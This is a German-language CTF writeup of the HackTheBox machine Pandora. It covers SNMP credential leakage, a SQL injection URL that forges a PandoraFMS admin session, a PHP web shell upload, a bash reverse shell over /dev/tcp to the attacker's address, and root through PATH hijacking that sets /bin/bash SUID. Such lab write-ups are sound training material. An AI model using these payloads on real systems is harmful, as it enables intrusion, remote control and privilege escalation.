> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md).

# Pandora HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Pandora mit Abdeckung von schneller SNMP-Enumeration, Informationsleck, lokalem Portforwarding, SQL-Injection - Admin-Session-Hijacking, mit praktischer Enumeration, Ausnutzung

{% embed url="<https://app.hackthebox.com/machines/Pandora>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SNMP-Schnellaufzählung
* Informationsleck
* Lokale Portweiterleitung
* SQL-Injection - Übernahme einer Admin-Sitzung
* PandoraFMS v7.0NG Authentifizierte Remotecodeausführung (CVE-2019-20224]
* Missbrauch einer benutzerdefinierten Binärdatei - PATH-Hijacking (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad5cff58eadbcf40e34cfd83601d4a17687d4656%2Fimage%20(2555).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4eb886a0a28799376fddeb90785a110f13ebb7a9%2Fimage%20(2556).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## TCP:

**Offene TCP-Ports mit Nmap finden:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f83c0ef107566eeb5b76d1c615744e08ee2afbe9%2Fimage%20(2557).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren (22.80)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-709ce6aa23116833f09be98fc58993db5f5d2cac%2Fimage%20(2533).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Versionsscan von TCP-Ports mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.136 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51c6ff5fc125e993568bb5368b7781cabe3e1754%2Fimage%20(2534).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80:

Wir haben `whatweb` um die vom Webserver verwendeten Technologien zu identifizieren:

<div align="right" data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40ea984842aa42dc3dbb7ea81728a51a19e558aa%2Fimage%20(2535).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Um Domänennamen per DNS in IP-Adressen aufzulösen, fügen Sie den Domänennamen, der mit seiner IP-Adresse verknüpft ist, in das `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dacad84beb022bec3197ea5025af426899fcedab%2Fimage%20(2536).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed95e83a74cc1740b7dba60b4fa8978058c927f4%2Fimage%20(2537).png?alt=media" alt=""><figcaption></figcaption></figure>

## UDP:

**Offene UDP-Ports mit Nmap finden:**

Wir führen auch einen Scan der UDP-Ports mit **Nmap**:

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP
```

wir entdecken die SNMP-Ports 161, 17185 und 49201

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93938a251514e0bfa90bd6945ece5a984aea0dfa%2Fimage%20(2538).png?alt=media" alt=""><figcaption></figcaption></figure>

**Versionsscan von UDP-Ports mit Nmap:**

Mit Nmap die Version der UDP-Ports scannen und die Informationen in die "targeted"-Datei extrahieren:

```bash
nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP
```

Entdeckung sensibler Informationen über SNMP, einschließlich eines Benutzers:

* `daniel`
* Passwort: `HotelBabylon23`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77d418c17912c5159e18431d47ffea71470cec33%2Fimage%20(2539).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 161 - SNMP

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

**SNMP-Aufzählung**

Um die exponierten SNMP-Dienste zu untersuchen, verwendeten wir den folgenden Befehl

```bash
snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt
```

* Durch die Analyse des Inhalts von `snmpcontent.txt`, entdeckten wir sensible Informationen, einschließlich gültiger Zugangsdaten:
  * **Benutzer**: `daniel`
  * **Passwort**: `HotelBabylon23`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a0ab139f6845e8c9f2139bc748afa824eb256f3%2Fimage%20(2540).png?alt=media" alt=""><figcaption></figcaption></figure>

Mit den abgerufenen Informationen stellten wir eine SSH-Verbindung zum Zielsystem her:

```bash
ssh daniel@10.10.11.136
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c263efccee97e87ab79b2974c8600477d1652fcb%2Fimage%20(2541).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Privilegieneskalation**

**Erste Suche**

Durch das Durchsuchen der für den Benutzer zugänglichen Verzeichnisse `daniel`, identifizierten wir interessante Dateien und Ordner im folgenden Pfad: `/var/www/pandora`

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-875b6332926acdb3d6fd37795798f8a6ab9effef%2Fimage%20(2542).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Dieses Verzeichnis enthält die PandoraFMS-Website, die von außen anscheinend nicht direkt zugänglich ist.

**Portweiterleitung**

Um über unseren lokalen Rechner auf die PandoraFMS-Oberfläche zuzugreifen, richteten wir einen SSH-Tunnel ein:

```bash
ssh -L 80:127.0.0.1:80 daniel@10.10.11.136
```

## Ausnutzung von Pandora FMS - SQL-Injection

### **SQL-Injection: Übernahme einer Admin-Sitzung**

Dieser Befehl leitet lokale HTTP-Anfragen an den internen Webserver um.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1344636b4c5572eafe41e6133cccc13b3ee577d%2Fimage%20(2543).png?alt=media" alt=""><figcaption></figcaption></figure>

Erkannte Version: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59720542c23b9a6d649c311a36e4fc17b8250570%2Fimage%20(2544).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

Bekannte Schwachstelle in `chart_generator.php` über die `session_id` Variable:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b37a64cd509f8bf1967453b7bc05927de61376e6%2Fimage%20(2545).png?alt=media" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8b2f7ae80950be216a7707ea3923d7a06705f4%2Fimage%20(2546).png?alt=media" alt=""><figcaption></figcaption></figure>

Ausführen einer SQL-Injection zum Vortäuschen einer Administratorsitzung:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* Dieser Befehl gibt ein Admin-Sitzungs-Cookie zurück.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb623affcfbdcdad5a9061b59c97ad0e48e8586%2Fimage%20(2547).png?alt=media" alt=""><figcaption></figcaption></figure>

Mithilfe des Cookies als Administrator auf das Dashboard zugreifen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f42b8d7935a165b586e1b12dddb2e69085883240%2Fimage%20(2549).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Remotecodeausführung (RCE) - (CVE-2019-20224]**

Navigiere zu **Dateimanager**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72de89fc96f3a27ae3043a7eeee3ff78d3ff73f6%2Fimage%20(2551).png?alt=media" alt=""><figcaption></figcaption></figure>

Hochladen einer bösartigen PHP-Datei:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* Datei zugänglich über `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-245aa646e3e8dbd7bf64ac94af897aad24d448c5%2Fimage%20(2552).png?alt=media" alt=""><figcaption></figcaption></figure>

Ausführen einer Reverse Shell:

* Lokales Lauschen:

```bash
nc -nvlp 443
```

* Ausführen des Befehls auf dem Zielserver:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

Zugriff erlangt als Benutzer `matt`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2a2cc786a2aab06e86d9fb95a0c41455947bc3%2Fimage%20(2553).png?alt=media" alt=""><figcaption></figcaption></figure>

**Vorbereiten des Terminals:**

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

Ermöglicht eine komfortablere Nutzung in einem interaktiven Terminal.

### Flagge User.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da210b47ec8aefea839813f63bcfa2c50cebcf7%2Fimage%20(2554).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## PATH-Hijacking - Missbrauch einer benutzerdefinierten Binärdatei

**Suchen nach Binärdateien mit SUID-Berechtigungen**

```bash
find / -perm -4000 2>/dev/null
```

Ergebnis: Eine interessante Binärdatei wurde gefunden:/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b587e5cbaa1faba33c888df8fa1e3049fdf7b37e%2Fimage%20(974).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38fb341fb6f5610f0ea9c049ea2cadfdaf828f0d%2Fimage%20(975).png?alt=media" alt=""><figcaption></figcaption></figure>

**Binäranalyse mit `ltrace`**

Um zu verstehen, wie die Binärdatei funktioniert, verwendeten wir **`ltrace`** (ein Werkzeug zur Verfolgung von Systemaufrufen), um die von dieser Binärdatei ausgeführten Systemaufrufe zu beobachten:

```bash
ltrace /usr/bin/pandora_backup
```

Dadurch konnten wir sehen, dass die Binärdatei den **KEEP/*****0/*****/\_** Befehl ohne Verwendung eines absoluten Pfads zur ausführbaren Datei ausführt, was eine potenzielle Schwachstelle darstellt. Mit anderen Worten: Wenn wir unsere **`PATH`** so ändern, dass es ein Verzeichnis enthält, das eine bösartige ausführbare Datei namens `tar`enthält, würde diese anstelle des Originals ausgeführt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f8807c260e25916d00e18b64e0b0de735896a4%2Fimage%20(977).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ausnutzung über PATH-Hijacking**

**Erstellen einer bösartigen `tar` Datei ein:** Wir haben eine Datei namens erstellt `tar` im `/tmp/` Verzeichnis mit Ausführungsberechtigungen **SUID**. Diese Datei enthält einen Befehl, um eine Bash-Shell mit erhöhten Rechten zu öffnen:

```bash
chmod 4777 /bin/bash
```

**Änderung der `PATH` Variable:** Um das System zu zwingen, unsere bösartige Version von zu verwenden `tar`, änderten wir die `PATH` Variablen, um das `/tmp/` Verzeichnis zu priorisieren

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1562055c871e2b9a4455b295ce7e5ec78f618f96%2Fimage%20(978).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ausführen der verwundbaren Binärdatei:** Nach der Änderung der `PATH`führten wir die **`pandora_backup`** Binärdatei aus:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aeaaddc895ed1a2820f5a59f18f67e77ebb69a0%2Fimage%20(979).png?alt=media" alt=""><figcaption></figcaption></figure>

Durch das Ausführen unserer modifizierten Version von `tar`wurde eine Bash-Shell mit erhöhten Rechten geöffnet, wodurch wir `root` Zugriff erhielten.

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e377012ecf9fd123f5d90093838c5949aeddcc28%2Fimage%20(980).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1987da8f59c8442ab7707f7fb5c1deccaacd61e1%2Fimage%20(981).png?alt=media" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
